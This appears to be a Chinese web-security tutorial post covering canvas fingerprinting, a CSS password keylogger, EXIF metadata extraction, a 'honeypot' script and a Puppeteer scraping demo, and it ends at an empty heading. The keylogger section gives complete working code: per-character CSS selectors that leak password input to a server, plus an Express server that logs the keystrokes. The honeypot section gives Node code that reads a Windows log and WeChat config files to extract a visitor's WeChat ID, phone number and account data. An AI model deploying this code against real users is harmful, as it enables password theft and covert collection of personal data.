网络安全

# canvas指纹追踪技术

原理：canvas也可以用来跟踪用户当我们调用toDataURL转换base64，他底层会获取设备，操作系统，浏览器，三合一的唯一标识，如果其他用户使用的这三个信息和你一样的话也是重复这个概率是很低的也不排除有可能。

const uuid = () => {

const canvas = document.createElement('canvas');

const ctx = canvas.getContext('2d');

const txt = 'test';

ctx.fillText(txt, 10, 10)

console.log(canvas.toDataURL())

return md5(canvas.toDataURL())

}

如何避免追踪呢？

安装浏览器插件，谷歌应用商店有随机修改canvas指纹的插件（CanvasFingerprintBlock），其原理是，每次随机往 canvas 画布里面注入一个随机的噪音（人肉眼是看不到的），从而影响base64加密结果。

学习地址： <https://www.bilibili.com/read/cv16329382?spm_id_from=333.999.0.0>

# 2、react （css键盘记录器）

使用一个简单的脚本可以创建一个css 文件，该文件将为每个 ASCII 字符发送一个自定义请求。

首先创建一个css脚本，注入到客户端的代码中。

input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }

input[type="password"][value$="!"] { background-image: url("http://localhost:3000/%21"); }

input[type="password"][value$="\""] { background-image: url("http://localhost:3000/%22"); }

input[type="password"][value$="#"] { background-image: url("http://localhost:3000/%23"); }

input[type="password"][value$="$"] { background-image: url("http://localhost:3000/%24"); }

input[type="password"][value$="%"] { background-image: url("http://localhost:3000/%25"); }

input[type="password"][value$="&"] { background-image: url("http://localhost:3000/%26"); }

input[type="password"][value$="'"] { background-image: url("http://localhost:3000/%27"); }

input[type="password"][value$="("] { background-image: url("http://localhost:3000/%28"); }

input[type="password"][value$=")"] { background-image: url("http://localhost:3000/%29"); }

input[type="password"][value$="\*"] { background-image: url("http://localhost:3000/%2A"); }

input[type="password"][value$="+"] { background-image: url("http://localhost:3000/%2B"); }

input[type="password"][value$=","] { background-image: url("http://localhost:3000/%2C"); }

input[type="password"][value$="-"] { background-image: url("http://localhost:3000/-"); }

input[type="password"][value$="."] { background-image: url("http://localhost:3000/."); }

input[type="password"][value$="/"] { background-image: url("http://localhost:3000/%2F"); }

input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }

input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }

input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }

input[type="password"][value$="3"] { background-image: url("http://localhost:3000/3"); }

input[type="password"][value$="4"] { background-image: url("http://localhost:3000/4"); }

input[type="password"][value$="5"] { background-image: url("http://localhost:3000/5"); }

input[type="password"][value$="6"] { background-image: url("http://localhost:3000/6"); }

input[type="password"][value$="7"] { background-image: url("http://localhost:3000/7"); }

input[type="password"][value$="8"] { background-image: url("http://localhost:3000/8"); }

input[type="password"][value$="9"] { background-image: url("http://localhost:3000/9"); }

input[type="password"][value$=":"] { background-image: url("http://localhost:3000/%3A"); }

input[type="password"][value$=";"] { background-image: url("http://localhost:3000/%3B"); }

input[type="password"][value$="<"] { background-image: url("http://localhost:3000/%3C"); }

input[type="password"][value$="="] { background-image: url("http://localhost:3000/%3D"); }

input[type="password"][value$=">"] { background-image: url("http://localhost:3000/%3E"); }

input[type="password"][value$="?"] { background-image: url("http://localhost:3000/%3F"); }

input[type="password"][value$="@"] { background-image: url("http://localhost:3000/%40"); }

input[type="password"][value$="A"] { background-image: url("http://localhost:3000/A"); }

input[type="password"][value$="B"] { background-image: url("http://localhost:3000/B"); }

input[type="password"][value$="C"] { background-image: url("http://localhost:3000/C"); }

input[type="password"][value$="D"] { background-image: url("http://localhost:3000/D"); }

input[type="password"][value$="E"] { background-image: url("http://localhost:3000/E"); }

input[type="password"][value$="F"] { background-image: url("http://localhost:3000/F"); }

input[type="password"][value$="G"] { background-image: url("http://localhost:3000/G"); }

input[type="password"][value$="H"] { background-image: url("http://localhost:3000/H"); }

input[type="password"][value$="I"] { background-image: url("http://localhost:3000/I"); }

input[type="password"][value$="J"] { background-image: url("http://localhost:3000/J"); }

input[type="password"][value$="K"] { background-image: url("http://localhost:3000/K"); }

input[type="password"][value$="L"] { background-image: url("http://localhost:3000/L"); }

input[type="password"][value$="M"] { background-image: url("http://localhost:3000/M"); }

input[type="password"][value$="N"] { background-image: url("http://localhost:3000/N"); }

input[type="password"][value$="O"] { background-image: url("http://localhost:3000/O"); }

input[type="password"][value$="P"] { background-image: url("http://localhost:3000/P"); }

input[type="password"][value$="Q"] { background-image: url("http://localhost:3000/Q"); }

input[type="password"][value$="R"] { background-image: url("http://localhost:3000/R"); }

input[type="password"][value$="S"] { background-image: url("http://localhost:3000/S"); }

input[type="password"][value$="T"] { background-image: url("http://localhost:3000/T"); }

input[type="password"][value$="U"] { background-image: url("http://localhost:3000/U"); }

input[type="password"][value$="V"] { background-image: url("http://localhost:3000/V"); }

input[type="password"][value$="W"] { background-image: url("http://localhost:3000/W"); }

input[type="password"][value$="X"] { background-image: url("http://localhost:3000/X"); }

input[type="password"][value$="Y"] { background-image: url("http://localhost:3000/Y"); }

input[type="password"][value$="Z"] { background-image: url("http://localhost:3000/Z"); }

input[type="password"][value$="["] { background-image: url("http://localhost:3000/%5B"); }

input[type="password"][value$="\\"] { background-image: url("http://localhost:3000/%5C"); }

input[type="password"][value$="]"] { background-image: url("http://localhost:3000/%5D"); }

input[type="password"][value$="^"] { background-image: url("http://localhost:3000/%5E"); }

input[type="password"][value$="\_"] { background-image: url("http://localhost:3000/\_"); }

input[type="password"][value$="`"] { background-image: url("http://localhost:3000/%60"); }

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

input[type="password"][value$="c"] { background-image: url("http://localhost:3000/c"); }

input[type="password"][value$="d"] { background-image: url("http://localhost:3000/d"); }

input[type="password"][value$="e"] { background-image: url("http://localhost:3000/e"); }

input[type="password"][value$="f"] { background-image: url("http://localhost:3000/f"); }

input[type="password"][value$="g"] { background-image: url("http://localhost:3000/g"); }

input[type="password"][value$="h"] { background-image: url("http://localhost:3000/h"); }

input[type="password"][value$="i"] { background-image: url("http://localhost:3000/i"); }

input[type="password"][value$="j"] { background-image: url("http://localhost:3000/j"); }

input[type="password"][value$="k"] { background-image: url("http://localhost:3000/k"); }

input[type="password"][value$="l"] { background-image: url("http://localhost:3000/l"); }

input[type="password"][value$="m"] { background-image: url("http://localhost:3000/m"); }

input[type="password"][value$="n"] { background-image: url("http://localhost:3000/n"); }

input[type="password"][value$="o"] { background-image: url("http://localhost:3000/o"); }

input[type="password"][value$="p"] { background-image: url("http://localhost:3000/p"); }

input[type="password"][value$="q"] { background-image: url("http://localhost:3000/q"); }

input[type="password"][value$="r"] { background-image: url("http://localhost:3000/r"); }

input[type="password"][value$="s"] { background-image: url("http://localhost:3000/s"); }

input[type="password"][value$="t"] { background-image: url("http://localhost:3000/t"); }

input[type="password"][value$="u"] { background-image: url("http://localhost:3000/u"); }

input[type="password"][value$="v"] { background-image: url("http://localhost:3000/v"); }

input[type="password"][value$="w"] { background-image: url("http://localhost:3000/w"); }

input[type="password"][value$="x"] { background-image: url("http://localhost:3000/x"); }

input[type="password"][value$="y"] { background-image: url("http://localhost:3000/y"); }

input[type="password"][value$="z"] { background-image: url("http://localhost:3000/z"); }

input[type="password"][value$="{"] { background-image: url("http://localhost:3000/%7B"); }

input[type="password"][value$="|"] { background-image: url("http://localhost:3000/%7C"); }

input[type="password"][value$="\\}"] { background-image: url("http://localhost:3000/%7D"); }

input[type="password"][value$="~"] { background-image: url("http://localhost:3000/~"); }

input[type="password"][value$=""] { background-image: url("http://localhost:3000/%7F");

客户端输入密码的时候，会映射到input标签的value值上面

<script src="https://cdn.bootcdn.net/ajax/libs/react/16.13.1/umd/react.production.min.js"></script>

<script src="https://cdn.bootcdn.net/ajax/libs/react-dom/16.13.1/umd/react-dom.production.min.js"></script>

<script src="https://cdn.bootcdn.net/ajax/libs/babel-standalone/7.0.0-beta.3/babel.min.js"></script>

<script type="text/babel">

const Ipt = React.createElement(()=>{

const { useState } = window.React;

const [state,setState] = useState({val:"123"})

const setInput = (e) => {

setState({

val:e.target.value

})

}

return <input type="password" onChange={setInput} value={state.val}></input>

})

ReactDOM.render(Ipt,document.getElementById('app'))

</script>

这样每次输入的时候，css脚本会获取到客户输入的值，然后发送到对应的服务器端，服务器端就能拿到客户输入的值。

const express = require("express");

const app = express();

app.get("/:key", (req, res) => {

process.stdout.write(req.params.key);

return res.sendStatus(400);

});

app.listen(3000, () => console.log("> Ready to keylog at localhost:3000"));

# 3、EXIF（照片信息）

1)EXIF（Exchangeable Image File）是“可交换图像文件”的缩写，当中包含了专门为数码相机的照片而定制的元数据，可以记录数码照片的拍摄参数、缩略图及其他属性信息，简单来说，Exif信息是镶嵌在 JPEG/TIFF 图像文件格式内的一组拍摄参数，需要注意的是EXIF信息是不支持png,webp等图片格式的。

简单来说就是当你拍照片的时候会存储你的一些信息，例如拍摄的位置，拍摄的时间，相机参数等，这些信息的泄露也会给我们造成麻烦。

exif.tuchong.com

2)使用js读取信息

<script src="https://cdn.jsdelivr.net/npm/exif-js"></script>

<div>

<img width="300" height="300" id="img1" src="./noOrigin.jpg" alt="">

<p>非原图</p>

</div>

<div>

<img width="300" height="300" id="img2" src="./origin.jpg" alt="">

<p>原图</p>

</div>

<div>

<img width="300" height="300" id="img3"

src="./2019\_03\_26\_201720.jpg" alt="">

<p>原图2</p>

</div>

EXIF.getData(img, callback)获取图像的数据

EXIF.getTag(img, tag)获取图像的某个数据

EXIF.getAllTags(img)获取图像的全部数据，值以对象的方式返回

EXIF.pretty(img)获取图像的全部数据，值以字符串的方式返回

const file = document.querySelector('#img3')

EXIF.getData(file, function () {

const data = EXIF.pretty(this);

console.log(data);

})

GPS 相关名称说明

GPSVersionIDGPS 版本

GPSLatitudeRef南北纬

GPSLatitude纬度

GPSLongitudeRef东西经

GPSLongitude经度

GPSAltitudeRef海拔参照值

GPSAltitude海拔

GPSTimeStamp GPS 时间戳

GPSSatellites测量的卫星

GPSStatus接收器状态

GPSMeasureMode测量模式

GPSDOP测量精度

GPSSpeedRef速度单位

GPSSpeed GPS 接收器速度

GPSTrackRef移动方位参照

GPSTrack移动方位

GPSImgDirectionRef图像方位参照

GPSImgDirection图像方位

GPSMapDatum地理测量资料

GPSDestLatitudeRef目标纬度参照

GPSDestLatitude目标纬度GPSDestLongitudeRef目标经度参照

GPSDestLongitude目标经度

GPSDestBearingRef目标方位参照

GPSDestBearing目标方位

GPSDestDistanceRef目标距离参照

GPSDestDistance目标距离

GPSProcessingMethod

GPS 处理方法名

GPSAreaInformation GPS 区功能变数名

GPSDateStampGPS 日期

GPSDifferential GPS 修正

# 4、蜜罐技术介绍

蜜罐是对攻击者的欺骗技术，用以监视、检测、分析和溯源攻击行为，其没有业务上的用途，所有流入/流出蜜罐的流量都预示着扫描或者攻击行为，因此可以比较好的聚焦于攻击流量。

蜜罐可以实现对攻击者的主动诱捕，能够详细地记录攻击者攻击过程中的许多痕迹，可以收集到大量有价值的数据，如病毒或蠕虫的源码、黑客的操作等，从而便于提供丰富的溯源数据。另外蜜罐也可以消耗攻击者的时间，基于JSONP等方式来获取攻击者的画像。

但是蜜罐存在安全隐患，如果没有做好隔离，可能成为新的攻击源。

## 1）、蜜罐技术获取手机号、微信号、地址

### A.读取 PFRO日志文件（这个文件是存放ISA监控日志的信息）

通过这个文件可以读取系统的用户名

Nodejs 代码

fs.readFile('C:/Windows/PFRO.log', async (err, data) => {

const exp = /Users\\([^\\]\*)/ig

exp.test(data.toString('utf16le'))

const userName = RegExp.$1

const wxId = await getWxId(userName)

const info = await getData(userName, wxId)

console.log(info);

})

### B.通过用户名读取wxid

//获取微信ID

const getWxId = <T>(path: T) => {

const data = fs.readFileSync(`C:/Users/${path}/Documents/WeChat Files/All Users/config/config.data`).toString('utf8')

const reg = /Documents\\WeChat Files\\([^\\]\*)/ig

reg.test(data)

return RegExp.$1

}

### C.最后通过微信ID 读取你的微信信息（手机号，微信号，等）

### D、完整代码

import fs from 'fs';

//获取微信ID

const getWxId = <T>(path: T) => {

const data = fs.readFileSync(`C:/Users/${path}/Documents/WeChat Files/All Users/config/config.data`).toString('utf8')

const reg = /Documents\\WeChat Files\\([^\\]\*)/ig

reg.test(data)

return RegExp.$1

}

//读取信息

const getData = <T>(path: T, wxId: T) => {

const data = fs.readFileSync(`C:/Users/${path}/Documents/WeChat Files/${wxId}/config/AccInfo.dat`).toString('utf-8')

return data

}

fs.readFile('C:/Windows/PFRO.log', async (err, data) => {

const exp = /Users\\([^\\]\*)/ig

exp.test(data.toString('utf16le'))

const userName = RegExp.$1

const wxId = await getWxId(userName)

const info = await getData(userName, wxId)

console.log(info);

})

# 5、npm包 Puppeteer

## 1）简介

支持分布式爬取

实现了深度优先和广度优先算法

支持csv和json line格式导出

插件式的结果存储，比如支持redis

自动插入jquery，可以使用jquery语法进行结果处理

支持截图作为爬取证据

支持模拟不同的设备

## 2）来实现一个demo 自动化测试

首先需要安装一下  Puppeteer

npm install pnpm -g //装过可以忽略

pnpm add puppeteer

他的包很大100MB 因为它带了Chromium

import puppeteer from "puppeteer"

//延迟函数

const sleep = (time: number) => {

return new Promise((r, j) => {

setTimeout(() => {

r(time)

}, time)

})

}

(async () => {

//通过 launch 生成一个’浏览器‘实例,

//option 中的 headless 是个布尔值，如果是 false 的话你就会看到一个浏览器从打开，到完成你整个任务的全过程，

//默认是 true，也就是在后台自动完成你的任务

const browser = await puppeteer.launch({

headless: false,

defaultViewport: null,

args: ['--start-maximized']

})

//打开一个新的标签页

const page = await browser.newPage()

//跳转到对应的页面

await page.goto('https://jd.com')

//获取搜索框的元素

const key = await page.$('#key') //根据实际情况填写元素id

//聚焦

await key?.focus()

//搜索东西

await page.keyboard.sendCharacter('iphone13')

//点击搜索按钮

await page.click('.button') //根据实际情况填写选择器

//延迟一秒钟

await sleep(1000)

//等待元素加载完成

await page.waitForSelector('.gl-item')

//开始自动滚动为了截图全屏有数据

let scrollEnable: boolean = true;

let scrollStep: number = 500

while (scrollEnable) {

scrollEnable = await page.evaluate((scrollStep: number) => {

let scrollTop: number =

document.scrollingElement?.scrollTop ?? 0;

document.scrollingElement!.scrollTop = scrollTop + scrollStep;

return document.body.clientHeight > scrollTop + 1080 ? true : false

}, scrollStep)

//防止滚动过快

await sleep(500)

}

//截图全屏

await page.screenshot({path:`iphone13.png`,fullPage:true})

})()

# 6、输入法